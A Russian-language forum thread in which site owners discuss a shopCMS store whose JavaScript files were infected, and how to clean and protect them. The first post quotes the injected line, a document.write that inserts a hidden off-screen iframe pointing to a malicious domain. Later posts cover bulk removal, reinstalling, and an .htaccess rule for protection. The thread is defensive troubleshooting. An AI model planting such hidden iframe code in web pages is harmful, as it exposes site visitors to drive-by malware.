Сообщений в теме: 6

[mailomsk]

Сегодня друг полез смотреть сайт на shopCMS 3.1.2
и говорит что Касперский детектирует вредоносную ссылку типа giverwould.ru
Я проверил сайт как на хостинге так и локально чем мог (благо есть чем проверять) так вот ничего я не нашел но вот в 190 файлах и только *.js
document.write('<iframe height="100" width="100" style="position:absolute;left:-1000px;top:0;" src="http://giverwould.ru...ault"></iframe>');

[badisoft]

Если Вы хотели задать вопрос, то явно забыли это сделать .

[mailomsk]

Прошу прощенья! Да действительно забыл задать вопрос!
Как можно скопом Удалить данную бяку? И как мне самостоятельно проверить сайт так как сервисы молчат (ничего не находят.) Ставить касперского не очень хочется!

[badisoft]

Как можно скопом Удалить данную бяку?

Никак. Если не хочется ставить Касперского (который, видимо, это умеет удалять?), то придется проделать все то же самое вручную. Работа не сложная, но муторная. Если левый код в ява-скриптах везде один и тот же, то при таком количестве файлов (190) я бы не в ручную корячился, а написал бы скрипт, удаляющий из всех файлов этот "один и тот же" текст.

[mailomsk]

1-Скопировал весь сайт локально и через Notepad++ (найти и заменить) все грохнул.
потом как оазалось на хостинге еще вели какие то работы (что потом еще 4 сайта были заражены) но через час все нормализовалось и (гада) уже небыло.

А Как вернуть редактор визуальный (стандартный) а то у меня Краткое и подробное описание перестало работать! В Админке включен но не пашет!

Пробовал откатиться на 1 месяц назад не пашет!

ничего не понимаю!
1-установил с нуля shopcms восстановил БД и копирнул все файлы, Все работает!

[andreich2005]

еще в помощь в борьбе с shell, взломами и т.д. http://www.revisium.com/ai/ отличный инструмент

[jorgovich]

здравствуйте сегодня столкнулся с аналогичной проблемой, только я перепроверил на 2 х антивирусах, действительно поменялись все файлы js видно даже по размеру файлов, сразу напрашивается как защитится от такой фигни кто вкурсе? раскажите, пока на ум приходит поменять права в папке и положить файл htacces с содержанием
<Files ~ "\.(php|php3|php4|php5|phtml|pl|cgi)$">
order deny,allow
deny from all
</Files>